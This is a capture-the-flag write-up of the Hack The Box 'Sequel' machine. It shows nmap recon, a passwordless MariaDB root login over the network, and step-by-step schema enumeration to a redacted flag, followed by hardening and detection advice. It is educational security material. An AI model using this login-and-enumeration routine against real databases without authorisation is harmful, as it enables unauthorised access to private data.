Sequel is the database box in the Starting Point: MariaDB on 3306, root with no password, flag
in a table. The foothold is handed to you; the transferable skill is schema enumeration - walking
an unfamiliar database from “I’m connected” to “here is the interesting data” using the same handful
of commands every time. That method is identical whether you arrive here, through a SQL injection,
or with dumped credentials.
Path to root, at a glance:
nmap->3306, MariaDB 10.3.27.mysql -u rootwith no password -> connected.- Walk databases ->
htb-> tables ->config-> flag.
Recon - nmap
┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Sequel]
└─$ sudo nmap -Pn -A 10.129.124.205
PORT STATE SERVICE VERSION
3306/tcp open mysql?
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
|_ Auth Plugin Name: mysql_native_password
The mysql-info script fingerprints it without logging in: MariaDB 10.3.27 on Debian 10, default
auth plugin mysql_native_password. A database engine listening on a routable interface is already
notable - MariaDB should normally be bound to loopback and reached only by the local application.
Foothold - passwordless root
┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Sequel]
└─$ mysql --ssl -h 10.129.124.205 -u root --skip-ssl
Welcome to the MariaDB monitor. Commands end with ; or \g.
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
MariaDB [(none)]>
No password was required - the MariaDB server allows root access without authentication.
That is the misconfiguration in one line. On a sane Debian install, root authenticates over the
local unix socket (unix_socket plugin) and cannot log in over the network at all. For this to
work, someone created a root account reachable from '%' (any host) with an empty password - the
classic result of an unfinished mysql_secure_installation on a server that was then exposed. The
--ssl ... --skip-ssl dance is just coaxing the client past a TLS negotiation mismatch; it is not
part of the vulnerability.
Enumeration - walking the schema
Every SQL enumeration starts the same way: list databases, pick the one that is not a system schema, list its tables, read them.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| htb |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
information_schema, mysql and performance_schema ship with the server - htb is the one this
host added, so that is the target. (information_schema is also a tool, not just noise: it is the
metadata catalogue you would query to enumerate columns blindly through an injection.)
MariaDB [(none)]> use htb;
MariaDB [htb]> show tables;
+---------------+
| Tables_in_htb |
+---------------+
| config |
| users |
+---------------+
users looks promising but holds only emails - a reminder to read every table, not just the
obvious one:
MariaDB [htb]> select * from users;
+----+----------+------------------+
| id | username | email |
+----+----------+------------------+
| 1 | admin | admin@sequel.htb |
| 2 | lara | lara@sequel.htb |
| 3 | sam | sam@sequel.htb |
| 4 | mary | mary@sequel.htb |
+----+----------+------------------+
Loot - the flag
MariaDB [htb]> select * from config;
+----+-----------------------+----------------+
| id | name | value |
+----+-----------------------+----------------+
| 1 | timeout | 60s |
| 2 | security | default |
| 3 | auto_logon | false |
| 5 | flag | [flag redacted]|
| 6 | enable_uploads | false |
| 7 | authentication_method | radius |
+----+-----------------------+----------------+
The flag sits in config as a key/value row - exactly where real secrets end up when an app stores
configuration in the database.
Detection and hardening
- No network root. Root should authenticate only over the local socket; drop any
root@'%'grant and runmysql_secure_installationto remove empty-password and anonymous accounts. - Bind to loopback.
bind-address = 127.0.0.1(or an internal address) so the engine is never exposed to the client network; let the application be the only client. - Least-privilege app accounts. The app should connect as a user scoped to its own database with only the verbs it needs - never as root.
- Blue team: a successful auth to
3306from outside the app tier, especially asroot, is the alert; MariaDB’sgeneral_logor an audit plugin captures the connecting user and host.
Lessons
- Schema enumeration is a fixed routine - databases, pick the non-system one, tables, read all of them. It pays off identically here and through a blind injection.
- A DB on the network is the smell; passwordless root is the fire. Either alone is a finding.
- Read every table.
userswas the bait;configheld the prize.